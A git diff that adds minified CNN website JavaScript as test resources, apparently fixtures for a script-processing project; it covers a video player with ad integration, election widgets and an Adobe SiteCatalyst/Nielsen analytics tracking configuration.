+}}if(callbackFn){callbackFn(callbackObj);}});}else{if(callbackFn){callbackFn(callbackObj);}}},switchOffAutoHideShow:function(){autoHideShow=false;},ua:ua,getFlashPlayerVersion:function(){return{major:ua.pv[0],minor:ua.pv[1],release:ua.pv[2]};},hasFlashPlayerVersion:hasPlayerVersion,createSWF:function(attObj,parObj,replaceElemIdStr){if(ua.w3){return createSWF(attObj,parObj,replaceElemIdStr);}else{return undefined;}},showExpressInstall:function(att,par,replaceElemIdStr,callbackFn){if(ua.w3 [...]
+xDoc.async=false;xDoc.loadXML(xmlString);return xDoc;}:function(xmlString){if(empty(xmlString)){return null;}var parser=new DOMParser();var xDoc=parser.parseFromString(xmlString,"text/xml");return xDoc;}),clean:function(xmlString){xmlString=xmlString.replace(/>\s+</g,"><");xmlString=xmlString.replace(/\t+/g," ");xmlString=xmlString.replace(/[\r\n]+/g," ");xmlString=xmlString.replace(/<!--(.*?)-->/g,"");xmlString=xmlString.replace(/&/g,"&");while(xmlString.indexOf("xmlns")>-1){var sta [...]
+break;case"adSection":obj.adSection=value;break;case"adNetworkId":obj.adNetworkId=value;break;case"adVideoNetworkId":obj.adVideoNetworkId=value;break;case"adVideoAssetId":obj.adVideoAssetId=value;break;case"adPlayerProfile":obj.adPlayerProfile=value;break;case"renderersUrl":obj.renderersUrl=value;break;case"externalSlots":obj.externalSlots=isFlagActive(value,obj.externalSlots);break;case"adLiveContentDuration":obj.liveDuration=value;break;default:obj[name]=value;}},parseAttributes:functi [...]
+this._requestPendingQueue.shift();this._processNextRequest();},_notifyListeners:function(contentId,requestId,index,errorMsg){this.eRequestCompleted.dispatch(contentId,requestId,index,errorMsg);}});var ContentCatalogEntry=Class.extend({init:function(xml){var anchor,files,f,file,fKey,fFallback,fValue,path,ext,images,image,iWidth,iHeight,iKey,iValue,lastDot,ads,ad,adKey,adValue;anchor=document.createElement("a");this._xmlEntry=xml.documentElement;this._requestId=null;this._mediaUrl="";this. [...]
+this._firePlay=false;this._addedListeners=false;this._loaded=false;this._muted=false;this._paused=false;this._buffering=false;this._fullscreen=false;this._playheadTimer=null;this._playheadThrottling=false;this._mousedown=false;this._waitForMouseUp=false;this._onMouseDown=bind(function(){this._mousedown=true;this._timeAtUserAction=this.element.currentTime;},this);this._onMouseUp=bind(function(){this._mousedown=false;},this);this._setupMouseWatcher=function(){this.element.addEventListener( [...]
+this.eFullscreenChange.dispatch(document.webkitIsFullScreen,document.webkitFullscreenElement);},_onMozFullScreenChange:function(){log.debug("VideoPlayer","_onMozFullScreenChange",document.mozFullScreen,document.mozFullScreenElement);this.eFullscreenChange.dispatch(document.mozFullScreen,document.mozFullScreenElement);},addPlayerListeners:function(){if(this.element&&!this._addedListeners){log.debug("VideoPlayer","addPlayerListeners");this.element.addEventListener("loadedmetadata",this._on [...]
+}else{if(adType===DFPImpl.POSTROLL){type=AdServerProxy.POSTROLL;}}break;}return type;},_onAdPlay:function(event){var data={ads:[],token:"",mode:"standard",id:this.getCurrentAdId(),duration:this.getCurrentAdDuration(),blockId:"",adType:this.getCurrentAdType()};this.eAdPlay.dispatch(data);},_onAdPlayhead:function(playhead,duration){this.eAdPlayhead.dispatch.apply(this.eAdPlayhead,arguments);},_onAdEnd:function(event){var data={token:"",mode:"standard",id:this.getCurrentAdId(),blockId:"",ad [...]
+adTag=this._addToTag(adTag,newPair);}adTag=ConfigUtils.stringReplace(adTag,catalogEntry);return adTag;},_addToTag:function(adTag,pair){if(!adTag){return pair;}var delimiter=";";if(adTag.charAt(adTag.length-1)==";"){delimiter="";}return adTag+delimiter+pair;},_onAdsLoaded:function(event){log.debug("DFP","_onAdsLoaded");var adsManager=event.getAdsManager();adsManager.addEventListener(google.ima.AdErrorEvent.Type.AD_ERROR,bind(this._onAdError,this));adsManager.addEventListener(google.ima.Ad [...]
+playFunc();dummyStrategy=null;});dummyStrategy.execute();}else{log.debug("PlayerController","_executePlayStrategy","not first play - allow to play");playFunc();}},_playMedia:function(){log.debug("PlayerController","_playMedia");this._firstPlay=false;this._onTrackingContentBegin(this._catalogEntry.getId());this._onContentBegin(this._catalogEntry.getId());if(this._adProxy.isEnabled()){this._adProxy.loadAds(this._catalogEntry);}else{this._playContent();}},_playContent:function(){log.debug(" [...]
+if(dataObj.paused){this._stopTrackingContentTimer();}else{this._startTrackingContentTimer();}this.eTrackingPaused.dispatch.apply(this.eTrackingPaused,arguments);},_onAdPlayhead:function(playhead,duration){this._currentAdPlayhead=playhead;this._currentAdDuration=duration;this._onTrackingAdCountdown(Math.ceil(duration-playhead));this.eAdPlayhead.dispatch.apply(this.eAdPlayhead,arguments);},_onAdPlay:function(event){var ads=event.ads,token=event.token,mode=event.mode,id=event.id,duration=ev [...]
+this._cms=new CMS();this._cms.setDataUrl(this._configData.configInfo.dataSrc);this._cms.setMediaUrl(this._configData.configInfo.mediaSrc);this._cms.eRequestCompleted.addListener(this._onCmsRequestCompleted,this);(function(configData){var ad=configData&&configData.adPolicy&&configData.adPolicy.ads||{};var config=configData.configInfo||{};var container=configData.containerInfo||{};var elementData={"cvpElementId":container.elementName,"adApi":ad.apiUrl,"adServerRootUrl":ad.adServerRootUrl," [...]
+this.eTrackingPaused.dispatch.apply(this.eTrackingPaused,arguments);},_onCmsRequestCompleted:function(contentId,requestId,index,errorMsg){log.debug("_onCmsRequestCompleted",contentId,requestId,index,errorMsg);var key=requestId+"|"+index;var catalogEntry=this._cms.getContentId((contentId+"|"+index));if(empty(catalogEntry)){log.error("onCmsRequestCompleted","no catalogEntry for contentId '"+contentId+"'");return;}if(empty(this._loadingEntryQueue[key])){log.warn("onCmsRequestCompleted","no [...]
+},_onTrackingContentComplete:function(){this.eTrackingContentComplete.dispatch.apply(this.eTrackingContentComplete,this._mungeArgs(arguments));},_onTrackingContentSeek:function(){this.eTrackingContentSeek.dispatch.apply(this.eTrackingContentSeek,this._mungeArgs(arguments));},_onTrackingFullscreen:function(){this.eTrackingFullscreen.dispatch.apply(this.eTrackingFullscreen,this._mungeArgs(arguments));},_onTrackingMuted:function(){this.eTrackingMuted.dispatch.apply(this.eTrackingMuted,this. [...]
+jsonpUrl+="?aspenJson="+encodeURIComponent(JSON.stringify(data)).replace(/%20/g,"+");Ajax.getJSONP({jsonpCallback:"parseCVPServicesInitialization",url:jsonpUrl,error:bind(failure,scope),success:bind(success,scope)});}}},fallback:function(){log("current transport format failed",this._transportFormat);this._transportFormat=this._config.transportFormats.shift();if(this._transportFormat){log("trying next transport format",this._transportFormat);return true;}else{return false;}}};var BatchSer [...]
+dependency.load();});}},_onDependenciesLoaded:function(){this._loadState=LoadState.READY;log("_onDependenciesLoaded - all required dependencies successfully loaded.");if(this.config.enabled){log("analytics enabled via config");TransportManager.init({transportFormats:this.config.transportFormats,servicesUrl:this.config.servicesUrl});this.serviceUrlRoot=this.config.servicesUrl;this._hello();}else{log("analytics disabled via config");this._initFailure();}},_onDependenciesLoadFailure:functio [...]
+if(ag&&ag.broadcastStartTime){return ag.broadcastStartTime;}}return 0;};t=function(){return O.video;};f=function(ag){X.setAdSection(ag);};c=function(ag){return(ag.indexOf("cvptve/")!==-1);};J=function(ag){return(ag.indexOf("cvplive/")!==-1);};T=function(ai){var ah=O.diagnostics||{},ag=ai||X.getContentId();ah.deliveryType="O";if(c(ag)){ah.deliveryType="T";}else{if(J(ag)){ah.deliveryType="L";}}return ah;};R=function(){if(u!==undefined){f(u);}H(O.video,{convivaMetadata:T()});};M=function(ag [...]
+if(y||r){E=F;p=G;if(r){t=d.keys(E);}if(y){E={};E[F]=G;p=D;t.push(F);}if("undefined"===typeof p||""===p){p=f.location.href;}p=p.split("#");m=("undefined"===typeof p[1])?"":"#"+p[1];p=p[0].split("?");o=p[0];p=("undefined"===typeof p[1])?"":p[1];if(""!==p){p=p.split("&");}for(C=p.length-1;0<=C;C-=1){q=p[C].split("=");n.push(p[C]);for(B=t.length-1;0<=B;B-=1){A=t[B];if(A===q[0]){n.pop();t[B]=t[t.length-1];t.pop();B=-1;s=E[A];if(""!==s){q[1]=s;n.push(A+"="+s);}}}}if(t.length>0){for(w=t.length- [...]
+V.clientConfig.path=Z;}W=e(w).find("."+V.bannerClass);if(0===W.length){e(w).append('<div class="'+V.bannerClass+'" style="display: none;"></div>');W=e(w).find("."+V.bannerClass);}if("undefined"!==typeof b.AnnouncementBoxWidget){M=new b.AnnouncementBoxWidget(W);}ab=e(w).find("."+V.boardClass);if(0===ab.length){e(w).append('<div class="'+V.boardClass+'" style="display: none;"></div>');ab=e(w).find("."+V.boardClass);}ab.find("."+V.flipperClass).eq(0).addClass("first-column");e(ab).on("click [...]
+ak="";if(al.winner){ak="winner";}ag.find("#candidate_"+(Y+1)).removeAttr("id").prepend(al.lname).find("#winner_"+(Y+1)).removeAttr("id").addClass(ak).end().find("#percent_"+(Y+1)).removeAttr("id").html(al.vpct);if(Y>=2){ac=-1;}}ag.find("#candidate_1").remove();ag.find("#candidate_2").remove();ag.find("#candidate_3").remove();}ae=0;if(X.hasOwnProperty("G")&&X.G.hasOwnProperty("races")){ae=X.G.races.length;}W[af+ae]=ag.html();}}s[aa]=null;s[aa]=W;if(W.length>0){H[aa].initialize();}};I=func [...]
+}}};o=function(X,Y){var W;for(W in X){if(X.hasOwnProperty(W)&&Y.hasOwnProperty(W)){Y[W](X[W]);}}};N=function(){var aa,ac,ab,Y,ae,X,W,Z=function(){var ah=function(){return;},af=("undefined"===typeof this.cache[this.columnId]||null===this.cache[this.columnId])?[]:this.cache[this.columnId],ag=this.bop[this.columnId];if("undefined"!==typeof ag&&""!==ag){if(0!==af.length){af.splice(af.length,0,ag);}else{af.push(ag);}}if(0===af.length){af=ah;}this.cache[this.columnId]=null;return af;};W=[];Y=V [...]
\ No newline at end of file
diff --git a/src/test/resources/s/cf/jot b/src/test/resources/s/cf/jot
new file mode 100644
index 0000000..50b048b
Binary files /dev/null and b/src/test/resources/s/cf/jot differ
diff --git a/src/test/resources/s/cf/jsmd-347.min.js b/src/test/resources/s/cf/jsmd-347.min.js
new file mode 100644
index 0000000..1a34932
--- /dev/null
+++ b/src/test/resources/s/cf/jsmd-347.min.js
@@ -0,0 +1,446 @@
+var _w=window;
+var _jsmd_default={version:"cnn.347.2855.20130122",release:"0",dictionary:{init:{"business.name":"cnn","business.lob":"news","business.brand":"cnn","business.friendly_name":getSiteSpecificSettings(1),"page.clean_url":"raw:gCNNURL|","page.template_type":"raw:gCNNTemplateType|long","page.content_type":"raw:gCNNContentType|adbp:none","page.domain":"raw:gADBPURL|domain","page.reportDomain":"raw:gCNNReportDomain|","page.name":"raw:gCNNPageName|","page.franchise":"gJObj|cnn_metadata,business.c [...]
+"page.url_section[1]":"raw:gADBPURL|path,2","page.transaction_id":_w.cnnad_transactionID?_w.cnnad_transactionID+"":"","page.gu_id":"raw:gCNNgetCookie|ug","promo.internal.id":"gQuery|iid","promo.internal.implied":"","promo.external.id":"gQuery|cid,sr,fb_ref","promo.external.implied":"","search.internal":"gJObj|cnn_metadata,search","search.internal.keyword":"gQuery|query","search.internal.number_results":"","user.authenticated":"raw:gCNNAuthenticated|authid,displayname,reg:logged in,anonym [...]
+"user.segment":"gJObj|cnn_metadata,segment","user.segment.zip":"gQuery|lwp.weather","page.type":"","video.id":"","video.title":"","video.players":[],nielsen:{"video-census":{clientid:getSiteSpecificSettings(5),vcid:getSiteSpecificSettings(6),prod:"vc",sfcode:"us"}},"tve.brand":"cnn","tve.syndication_channel":"tve","tve.mode":"live","tve.player_location":"onsite","tve.video.progress":"0","tve.page.full_url":window.location.href,"tve.dev_string":"gTVEDevString|","tve.promo.external.id":"gQ [...]
+remove_this_too:"","business.cnn.page.section[0]":"gCNNSection|0","business.cnn.page.section[1]":"gCNNSection|1","business.cnn.page.section[2]":"gCNNSection|2","business.cnn.page.section[3]":"gCNNSection|3","business.cnn.page.section[4]":"gCNNSection|4","business.cnn.page.author":"gCNNgetAuthor|","business.cnn.page.HPlocation":"gCNNgetPageAttribution|","business.cnn.page.newspulse":"","business.cnn.page.photo.gallery":"gJObj|cnn_metadata,business.cnn.page.photo_gallery","business.cnn.pag [...]
+"business.cnn.page.lateral_navigation":"gCNNgetLatNav|","business.cnn.page.days_since_publish":"gCNNDaysSinceLastPublish|a","business.cnn.page.branding_content_partner":"gCNNgetBrandingPartner|","business.cnn.page.affiliate_partner":"gQuery|pc","business.cnn.page.partner_referrer":"gQuery|eref","business.cnn.page.branding_ad":"gCNNgetBrandingAd|","business.cnn.page.exit_traffic_partner":"gQuery|cid","business.cnn.page.publish_date":"gJObj|cnn_metadata,business.cnn.page.publish_date","bus [...]
+"business.cnn.page.impressions":_w.cnnPSproducts||"","business.cnn.page.ireport.assignment":"gIreportgetAssignment|","business.cnn.page.flashversion":"gCNNFlashVersion|","business.cnn.video.sequence":"+1","business.cnn.page.video_embed_count":"gJObj|cnn_metadata,business.cnn.page.video_embed_count","business.cnn.page.photo.slide":"gCNNgetPhotoImage|","business.cnn.page.socialType":"","business.cnn.game.status":"","business.cnn.page.ireport.registration":"",preinit:function(){},postinit:f [...]
+-1){this.set("business.cnn.page.section[0]","health");this.set("business.cnn.page.section[1]","inhealth");this.set("business.cnn.page.branding_content_partner","inhealth")}if(this.plugin.gQuery("refresh")!=1){var sect1=this.get("business.cnn.page.section[0]");if(!sect1){sect1=this.plugin.gADBPURL("path",1);if(sect1)this.set("business.cnn.page.section[0]",sect1)}if(window.location.href.indexOf("flashLive/")>-1)this.set("business.cnn.page.section[1]","live video");var adbpPageName=this.get [...]
+if(window.location.href.indexOf("ireport.cnn.com")>-1){var pageName=this.get("page.name");var title=this.plugin.gIreportgetMetaContents("title");if(title)this.set("page.name",pageName+" ["+title+"]");if(adbpPageName=="cnn:sf:ireport:/")this.set("business.cnn.page.section[1]","irp : ireport homepage");else if(window.location.href.indexOf("ireport.cnn.com/ir-topic-stories")>-1)this.set("business.cnn.page.section[1]","irp : topic");else if(window.location.href.indexOf("ireport.cnn.com/recen [...]
+-1)this.set("business.cnn.page.section[1]","irp : recent updates");else if(window.location.href.indexOf("ireport.cnn.com/blogs")>-1)this.set("business.cnn.page.section[1]","irp : blog");else if(window.location.href.indexOf("ireport.cnn.com/map")>-1)this.set("business.cnn.page.section[1]","irp : map");else if(window.location.href.indexOf("ireport.cnn.com/open-story")>-1){this.set("business.cnn.page.section[1]","irp : open story");var pageName=this.get("page.name");var friendlyName=this.pl [...]
+"friendly_name");this.set("page.name",pageName+" ["+friendlyName+"]")}else if(window.location.href.indexOf("ireport.cnn.com/search")>-1)this.set("business.cnn.page.section[1]","irp : search");else if(window.location.href.indexOf("ireport.cnn.com/people")>-1)this.set("business.cnn.page.section[1]","irp : people");else if(window.location.href.indexOf("ireport.cnn.com/tags")>-1)this.set("business.cnn.page.section[1]","irp : tag");else this.set("business.cnn.page.section[1]","irp : misc")}el [...]
+-1){var pageName=this.get("page.name");var title=this.plugin.gIreportgetMetaContents("title");if(title)this.set("page.name",pageName+" ["+title+"]");if(adbpPageName=="cnn:sf:ireportqa:/")this.set("business.cnn.page.section[1]","irp : ireport homepage");else if(window.location.href.indexOf("ireportqa.cnn.com/ir-topic-stories")>-1)this.set("business.cnn.page.section[1]","irp : topic");else if(window.location.href.indexOf("ireportqa.cnn.com/recent-updates")>-1)this.set("business.cnn.page.se [...]
+"irp : recent updates");else if(window.location.href.indexOf("ireportqa.cnn.com/blogs")>-1)this.set("business.cnn.page.section[1]","irp : blog");else if(window.location.href.indexOf("ireportqa.cnn.com/map")>-1)this.set("business.cnn.page.section[1]","irp : map");else if(window.location.href.indexOf("ireportqa.cnn.com/open-story")>-1){this.set("business.cnn.page.section[1]","irp : open story");var pageName=this.get("page.name");var friendlyName=this.plugin.gJObj(cnn_metadata,"friendly_nam [...]
+pageName+" ["+friendlyName+"]")}else if(window.location.href.indexOf("ireportqa.cnn.com/search")>-1)this.set("business.cnn.page.section[1]","irp : search");else if(window.location.href.indexOf("ireportqa.cnn.com/people")>-1)this.set("business.cnn.page.section[1]","irp : people");else if(window.location.href.indexOf("ireportqa.cnn.com/tags")>-1)this.set("business.cnn.page.section[1]","irp : tag");else this.set("business.cnn.page.section[1]","irp : misc")}var sect2=this.get("business.cnn.p [...]
+if(!sect2){sect2=this.plugin.gADBPURL("path",2);if(sect2)this.set("business.cnn.page.section[1]",sect2)}if(sect1==""&§2=="")this.set("business.cnn.page.section[0]","home");var adbpUrlSection=this.get("page.url_section[0]");if(!adbpUrlSection)this.set("page.url_section[0]","home");var ttContent=this.plugin.gJObj(cnn_metadata,"template_type_content");if(ttContent)switch(ttContent){case "quiz":this.set("page.content_type","other:quiz");this.push("page.events","content.quiz");break;case [...]
+case "chart":this.push("page.events","content.chart");break;case "map":this.set("page.content_type","other:map");this.push("page.events","content.map");break;case "timeline":this.push("page.events","content.timeline");break;case "interactive":this.push("page.events","content.interactive");break;case "explainer":this.push("page.events","content.explainer");break;case "partner":this.push("page.events","business.cnn.page.branding_content_partner");break;case "ad":this.push("page.events","bu [...]
+break;default:this.push("page.events","content.interactive")}else{var tType=this.plugin.gJObj(cnn_metadata,"template_type");if(tType=="interactive")this.push("page.events","content.interactive")}if(sect1=="specials")this.push("page.events","content.featured");var impr=this.get("business.cnn.page.impressions");if(impr)this.push("page.events","content.impressions")}try{var tp=this.plugin.gJObj(cnn_metadata,"template_type");if(tp=="quiz"){this.set("page.template_type","other:interactive");t [...]
+"adbp:none")}}catch(e){}if(_w.location.pathname.indexOf("election/2012/results")>-1){var hash_value=_w.location.hash.replace("#","").toLowerCase();if(hash_value&&hash_value.match(/president|senate|house|governor|ballot/))this.set("business.cnn.page.section[4]",hash_value)}}}},map:{cnn_main:{vendors:[{name:"Adobe SiteCatalyst H-code",account:"cnn",settings:["cnn"],variablemap:["cnn","adbp"],eventmap:["cnn","adbp"],dynamic_actions:{video:{variablemap:["cnn","adbp-video"],eventmap:["cnn","a [...]
+audio:{variablemap:["adbp-audio"],eventmap:["adbp-audio"]},autorefresh:{settings:["cnn","cnn-autorefresh"],variablemap:["cnn-autorefresh"],eventmap:["cnn-autorefresh"]},impressions:{settings:["cnn","cnn-impressions"],variablemap:["cnn-impressions"],eventmap:["cnn-impressions"]},tve:{variablemap:["tve"],eventmap:["tve"]},"vid-button":{variablemap:["cnn","adbp"],eventmap:["cnn","adbp"]},game:{variablemap:["cnn","adbp"],eventmap:["cnn","adbp"]},quiz:{variablemap:["cnn","adbp"],eventmap:["cn [...]
+prevendor:function(){},postvendor:function(){}},{name:"Nielsen Hybrid Light Code",account:"standard_nielsen",dynamic_actions:{video:{ignore:true},audio:{ignore:true},autorefresh:{ignore:true},impressions:{ignore:true},vid:{ignore:true},game:{ignore:true},quiz:{ignore:true}}}],standard_nielsen:{account:function(){return"us-204044h"}},cnn:{filters:{"flash-link":{include:["video.","content_type","link."]},"quiz-interaction":{include:["social.interaction","business.cnn.page.socialType"]}},ac [...]
+window.location.hostname;var setting;var sites={ireportdev:["cnn-adbp-domestic-dev,cnnireport-adbp-dev"],cnnintldev:["cnn-adbp-intl-dev"],cnndev:["cnn-adbp-domestic-dev"],ireport:["cnn-adbp-domestic,cnnireport-adbp"],cnnintl:["cnn-adbp-intl"],cnn:["cnn-adbp-domestic"]};if(hostName.indexOf("ireportqa.cnn.com")!=-1)setting=sites.ireportdev[0];else if(hostName.indexOf("jcmsdev8.cnn.com")!=-1||hostName.indexOf("jcmsref.cnn.com")!=-1||hostName.indexOf("cnnpreview.cnn.com")!=-1||hostName.index [...]
+-1||hostName.indexOf("preview.cnn.com")!=-1||hostName.indexOf("dev.cnn.com")!=-1||hostName.indexOf("stage.cnngo.com")!=-1||hostName.indexOf("travel.cnngo.com")!=-1){var port=window.location.port;if(port.indexOf("94")!=-1||hostName.indexOf("edition")!=-1||hostName.indexOf("cnnespanol")!=-1||hostName.indexOf("stage.cnngo.com")!=-1||hostName.indexOf("travel.cnngo.com")!=-1)setting=sites.cnnintldev[0];else setting=sites.cnndev[0]}else if(hostName.indexOf("qai.cnn.com")!=-1)setting=sites.cnnd [...]
+-1||hostName.indexOf("cnn.staging2.perfectmarket.com")!=-1)setting=sites.cnndev[0];else if(hostName.indexOf("ireport.cnn.com")!=-1)setting=sites.ireport[0];else if(hostName.indexOf("edition.cnn.com")!=-1||hostName.indexOf("cnnespanol.cnn.com")!=-1||hostName.indexOf("backstory.blogs.cnn.com")!=-1||hostName.indexOf("inthefield.blogs.cnn.com")!=-1||hostName.indexOf("securityfiles.blogs.cnn.com")!=-1||hostName.indexOf("thecnnfreedomproject.blogs.cnn.com")!=-1||hostName.indexOf("ukelection.bl [...]
+-1||hostName.indexOf("amanpour.blogs.cnn.com")!=-1||hostName.indexOf("screeningroom.blogs.cnn.com")!=-1||hostName.indexOf("internationaldesk.blogs.cnn.com")!=-1||hostName.indexOf("newsstream.blogs.cnn.com")!=-1||hostName.indexOf("prism.blogs.cnn.com")!=-1||hostName.indexOf("thebrief.blogs.cnn.com")!=-1||hostName.indexOf("insidethemiddleeast.blogs.cnn.com")!=-1||hostName.indexOf("connecttheworld.blogs.cnn.com")!=-1||hostName.indexOf("business.blogs.cnn.com")!=-1||hostName.indexOf("questme [...]
+-1||hostName.indexOf("goalmouth.blogs.cnn.com")!=-1||hostName.indexOf("olympics.blogs.cnn.com")!=-1||hostName.indexOf("worldsport.blogs.cnn.com")!=-1||hostName.indexOf("bodareal.blogs.cnn.com")!=-1||hostName.indexOf("travel.cnn.com")!=-1)setting=sites.cnnintl[0];else if(hostName.indexOf("cnn.com")!=-1)setting=sites.cnn[0];return setting},settings:{trackDownloadLinks:true,trackExternalLinks:true,trackInlineStats:true,linkDownloadFileTypes:"exe,zip,wav,mp3,mov,mpg,avi,wmv,doc,pdf,xls",link [...]
+externalLinkFilters:".si.com,/time/,cnn.com/money,/si/,/ew/,/lawyers/,/popsci/,/southernaccents/,/parenting/,/cookinglight/,/budgettravel/,/healthmag/,/cottageliving/,/sunset/,/southern/,/coastal/,/peoplemag/,/travelandleisure/,/international/,/intl/,/healthologyvid/,/careerbuilder/,/fortune/,/ewhome/,/ewpop/,/healthologycom/,/healthologynet/,/instyle/,arabic.cnn.com,/arabic/,www.cnn.com/money,edition.cnn.com/money,us.cnn.com/money,sportsillustrated.cnn.com,money.cnn.com,edition.cnn.com, [...]
+linkLeaveQueryString:false,trackingServer:getSiteSpecificSettings(3),trackingServerSecure:getSiteSpecificSettings(4),dc:"122",visitorNamespace:getSiteSpecificSettings(2),charSet:"ISO8859-1",currencyCode:"USD"},variablemap:{"business.cnn.page.author":["prop2","eVar2"],"business.cnn.page.HPlocation":["prop4","eVar4"],"business.cnn.page.newspulse":["prop5","eVar5"],"business.cnn.page.photo.gallery":["prop6","eVar6"],"business.cnn.page.visit_number.$30Day":["prop8","eVar8"],"business.cnn.pag [...]
+"eVar9"],"business.cnn.page.days_since_publish":["prop10","eVar10"],"business.cnn.page.branding_content_partner":["prop11","eVar11"],"business.cnn.page.affiliate_partner":["prop12","eVar12"],"business.cnn.page.partner_referrer":["prop13","eVar13"],"business.cnn.page.branding_ad":["prop14","eVar14"],"business.cnn.page.exit_traffic_partner":["prop15","eVar15"],"business.cnn.page.publish_date":["prop16","eVar16"],"business.cnn.page.ireport.member":["prop17","eVar17"],"business.cnn.page.impr [...]
+"eVar18"],"business.cnn.page.ireport.assignment":["prop19","eVar19"],"business.cnn.page.flashversion":["prop20","eVar20"],"business.cnn.page.video_embed_count":["eVar22"],"business.cnn.page.photo.slide":["prop25","eVar25"],"business.cnn.page.section[2]":["prop62","eVar62"],"business.cnn.page.socialType":["prop69","eVar69"],"business.cnn.game.status":["prop73","eVar73"],"m:page.type":["pageType"],"business.cnn.page.ireport.registration":["prop72","eVar72"],"business.cnn.page.section[3]":[ [...]
+"eVar74"],"business.cnn.page.section[4]":["prop75","eVar75"]},eventmap:{"content.quiz":["event4"],"content.gallery":["event5"],"content.chart":["event6"],"content.map":["event7"],"content.timeline":["event8"],"content.interactive":["event9"],"content.explainer":["event10"],"ireport.rate":["event12"],"ireport.comment":["event13"],"ireport.flag":["event14"],"ireport.share":["event15"],"content.impressions":["event16"],"ireport.flag.story":["event18"],"ireport.email":["event19"],"ireport.fo [...]
+"business.cnn.page.branding_content_partner":["event21"],"business.cnn.page.branding_ad":["event24"],"content.featured":["event31"],"social.interaction":["event76"],"game.interaction":["event78"],"ireport.signup":["event79"]},premap:function(){},postmap:function(){this.v.linkTrackVars="";try{this.v.prop8=this.v.prop8.replace(/\|/,":")}catch(e){}var s=this.v;var s_userAgent=navigator.userAgent;s_userAgent=s_userAgent.toLowerCase();if(s_userAgent.indexOf("webkit")==-1&&s_userAgent.indexOf( [...]
+-1||s_userAgent.indexOf("chrome")>0){s.usePlugins=true;s.linkHandler=new Function("p","t",""+"var s=this,h=s.p_gh(),i,l;t=t?t:'o';if(!h||(s.linkType&&(h||s.linkN"+"ame)))return '';i=h.indexOf('?');h=s.linkLeaveQueryString||i<0?h:h."+"substring(0,i);l=s.pt(p,'|','p_gn',h.toLowerCase());if(l){s.linkNam"+"e=l=='[['?'':l;s.linkType=t;return h;}return '';");s.p_gn=new Function("t","h",""+"var i=t?t.indexOf('~'):-1,n,x;if(t&&h){n=i<0?'':t.substring(0,i);x="+"t.substring(i+1);if(h.indexOf(x.toL [...]
+"return 0;");s.p_gh=new Function(""+"var s=this;if(!s.eo&&!s.lnk)return '';var o=s.eo?s.eo:s.lnk,y=s.ot("+"o),n=s.oid(o),x=o.s_oidt;if(s.eo&&o==s.eo){while(o&&!n&&y!='BODY'){"+"o=o.parentElement?o.parentElement:o.parentNode;if(!o)return '';y=s."+"ot(o);n=s.oid(o);x=o.s_oidt}}return o.href?o.href:'';");s.trackTNT=function(v,p,b){var s=this,n="s_tnt",p=p?p:n,v=v?v:n,r="",pm=false,b=b?b:true;if(s.getQueryParam)pm=s.getQueryParam(p);if(pm)r+=pm+",";if(s.wd[v]!=undefined)r+=s.wd[v];if(b)s.wd[ [...]
+s.getQueryParam=new Function("p","d","u",""+"var s=this,v='',i,t;d=d?d:'';u=u?u:(s.pageURL?s.pageURL:s.wd.locati"+"on);if(u=='f')u=s.gtfs().location;while(p){i=p.indexOf(',');i=i<0?p"+".length:i;t=s.p_gpv(p.substring(0,i),u+'');if(t){t=t.indexOf('#')>-"+"1?t.substring(0,t.indexOf('#')):t;}if(t)v+=v?d+t:t;p=p.substring(i="+"=p.length?i:i+1)}return v");s.p_gpv=new Function("k","u",""+"var s=this,v='',i=u.indexOf('?'),q;if(k&&i>-1){q=u.substring(i+1);v"+"=s.pt(q,'&','p_gvf',k)}return v");s. [...]
+"k",""+"if(t){var s=this,i=t.indexOf('='),p=i<0?t:t.substring(0,i),v=i<0?'T"+"rue':t.substring(i+1);if(p.toLowerCase()==k.toLowerCase())return s."+"epa(v)}return ''");var hostN=window.location.hostname;s.doPlugins=function(){var url1=s.linkHandler("/time/","e");var url2=s.linkHandler("cnn.com/money/","e");var url3=s.linkHandler("/si/","e");var url4=s.linkHandler("/ew/","e");var url5=s.linkHandler("/lawyers/","e");var url6=s.linkHandler("/popsci/","e");var url7=s.linkHandler("/southernacc [...]
+var url8=s.linkHandler("/parenting/","e");var url9=s.linkHandler("/cookinglight/","e");var url10=s.linkHandler("/budgettravel/","e");var url11=s.linkHandler("/healthmag/","e");var url12=s.linkHandler("/cottageliving/","e");var url13=s.linkHandler("/sunset/","e");var url14=s.linkHandler("/southern/","e");var url15=s.linkHandler("/coastal/","e");var url16=s.linkHandler("/peoplemag/","e");var url17=s.linkHandler("/travelandleisure/","e");var url18=s.linkHandler("/international/","e");var ur [...]
+"e");var url20=s.linkHandler("/healthologyvid/","e");var url21=s.linkHandler("/careerbuilder/","e");var url22=s.linkHandler("/fortune/","e");var url23=s.linkHandler("/ewhome/","e");var url24=s.linkHandler("/ewpop/","e");var url25=s.linkHandler("/healthologycom/","e");var url26=s.linkHandler("/healthologynet/","e");var url27=s.linkHandler("/instyle/","e");var url28=s.linkHandler("/mayo/","e");var url29=s.linkHandler("/medpage/","e");var url30=s.linkHandler("/shc/","e");var url31=s.linkHan [...]
+"e");var url32=s.linkHandler("/sports/","e");var url33=s.linkHandler("/sportstonight/","e");var url34=s.linkHandler("/interactiveworld/","e");var url35=s.linkHandler("/cnet/","e");var url36=s.linkHandler("/cnnfn/","e");var url37=s.linkHandler("/people/","e");var url38=s.linkHandler("/newfrontier/","e");if(hostN.indexOf("edition.cnn.com")==-1)var url39=s.linkHandler("edition.cnn.com","e");var url40=s.linkHandler("money.cnn.com","e");var url41=s.linkHandler("sportsillustrated.cnn.com","e") [...]
+s.linkHandler("topix.net","e");var url43=s.linkHandler("us.cnn.com/money/","e");var url44=s.linkHandler("edition.cnn.com/money/","e");var url45=s.linkHandler("www.cnn.com/money/","e");var url46=s.linkHandler("/arabic/","e");var url47=s.linkHandler("arabic.cnn.com/","e");var url48=s.linkHandler("www.oprah.com/","e");var url49=s.linkHandler("www2.oprah.com/","e");var url50=s.linkHandler("static.oprah.com/","e");s.tnt=s.trackTNT()}}if(window.location.hostname.indexOf("ireport.cnn.com")!=-1| [...]
+-1){this.v.channel="ireport";this.v.eVar27=this.v.channel;if(this.config.map.isDynamic!=null&&typeof this.config.map.isDynamic==="string"&&this.config.map.isDynamic.indexOf("video-")!=-1){this.v.prop4=this.v.eVar4="";this.v.prop19=this.v.eVar19=""}}if(this.config.map.isDynamic!=null&&typeof this.config.map.isDynamic==="string"&&this.config.map.isDynamic.indexOf("tve-")==-1){if(this.config.map.isDynamic.indexOf("video-")!=-1&&this.config.map.isDynamic.indexOf("video-page")==-1){var aryEve [...]
